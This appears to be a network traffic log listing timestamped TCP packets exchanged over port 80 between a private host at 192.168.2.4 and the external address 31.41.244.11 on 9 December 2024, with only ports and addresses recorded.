Dec 9, 2024 20:28:10.994415998 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.996159077 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.996222019 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.996258974 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.996301889 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.000920057 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.000941038 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.000996113 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.001079082 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.008394957 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.008410931 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.008480072 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.012480021 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.012553930 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.012662888 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.012713909 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.016062021 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.016076088 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.016129971 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.020759106 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.020828009 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.021109104 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.021159887 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.029299974 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.029362917 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.029617071 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.029669046 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.033253908 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.033317089 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.033425093 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.033468962 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.037882090 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.037941933 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.038079977 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.038125038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.040764093 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.040812016 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.041234970 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.041280031 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.045124054 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.045136929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.045182943 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.048167944 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.048182964 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.048245907 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.052053928 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.052112103 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.052176952 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.052222967 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.056901932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.056915998 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.056967020 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.059906006 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.059962034 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.060142040 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.060182095 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.063990116 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.064002991 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.064043999 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.067678928 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.067728996 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.067830086 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.067876101 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.071588993 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.071656942 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.071739912 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.071789980 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.075622082 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.075687885 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.075753927 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.075795889 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.179379940 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.179415941 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.179523945 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.179922104 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.179976940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.180018902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.180059910 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.182908058 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.182965994 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.182991028 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.183032036 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.185902119 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.185952902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.185955048 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.185992002 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.188824892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.188880920 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.188884020 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.188919067 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.191641092 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.191689014 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.191695929 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.191732883 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.194475889 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.194533110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.194639921 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.194688082 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.197221041 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.197278023 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.197307110 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.197355986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.199863911 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.199923038 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.199927092 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.199979067 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.202490091 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.202552080 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.202584028 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.202630043 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.205060005 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.205120087 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.205193996 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.205236912 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.207648993 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.207710028 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.207720041 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.207890987 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.210196972 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.210247993 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.210304976 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.210354090 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.212858915 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.212912083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.213217020 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.213265896 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.215398073 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.215450048 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.215532064 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.215579987 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.217957973 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.218010902 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.218044996 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.218095064 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.220566034 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.220628977 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.220674992 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.220721006 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.223263025 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.223335028 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.223397970 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.223445892 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.225760937 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.225876093 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.225939989 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.225990057 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.228328943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.228383064 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.228467941 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.228512049 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.230928898 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.230986118 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.231107950 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.231154919 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.233551979 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.233617067 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.233663082 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.233709097 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.236177921 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.236247063 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.236288071 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.236427069 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.238713026 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.238779068 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.238799095 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.238847971 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.241297007 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.241355896 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.241422892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.241470098 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.243891954 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.243952990 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.244020939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.244066000 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.246462107 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.246541977 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.246577024 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.246622086 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.249057055 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.249116898 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.249145985 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.249195099 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.251632929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.251684904 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.251746893 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.251795053 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.254247904 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.254308939 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.254352093 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.254405975 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.256824017 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.256880045 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.256989002 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.257039070 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.259510994 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.259560108 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.259591103 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.259727955 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.261989117 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.262056112 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.262096882 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.262154102 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.264609098 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.264662027 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.264671087 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.264703989 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.267235994 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.267285109 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.267330885 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.267383099 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.269978046 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.270054102 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.270087004 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.270138979 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.272425890 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.272474051 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.272505999 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.272552967 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.274959087 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.275008917 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.275048971 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.275094986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.277527094 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.277591944 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.277594090 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.277642965 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.376262903 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.376280069 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.376368999 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.376430988 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.376444101 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.376504898 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.377125978 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.377177954 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.377255917 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.377298117 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.379311085 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.379410028 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.379443884 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.379492998 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.381469965 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.381539106 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.381573915 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.381622076 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.383446932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.383503914 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.383523941 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.383569956 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.385473013 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.385530949 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.385572910 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.385613918 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.387413025 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.387465000 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.387548923 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.387598038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.389564991 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.389647007 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.390156031 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.390208960 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.391407967 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.391457081 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.391563892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.391628027 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.393404961 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.393425941 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.393480062 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.395242929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.395298958 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.395380020 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.395423889 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.397188902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.397244930 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.398457050 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.398514986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.398984909 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.399043083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.399116993 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.399162054 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.400862932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.400916100 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.401207924 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.401293039 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.402671099 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.402719975 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.402787924 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.402837038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.405689001 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.405705929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.405879974 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.406546116 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.406641960 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.407305956 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.407366037 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.408238888 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.408289909 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.408349037 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.408402920 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.410049915 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.410104990 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.410209894 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.410255909 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.413296938 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.413309097 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.413348913 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.413661003 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.413711071 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.413729906 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.413767099 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.415508032 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.415561914 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.415623903 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.415679932 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.417346001 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.417402983 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.417445898 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.417490959 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.419158936 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.419213057 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.419327974 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.419378996 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.421009064 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.421061993 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.421106100 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.421173096 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.422795057 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.422848940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.425529003 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.425549984 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.425568104 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.425584078 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.425611973 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.426536083 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.426589012 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.426654100 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.426702976 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.428314924 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.428370953 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.428442955 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.428492069 CET	49795	80	192.168.2.4	31.41.244.11
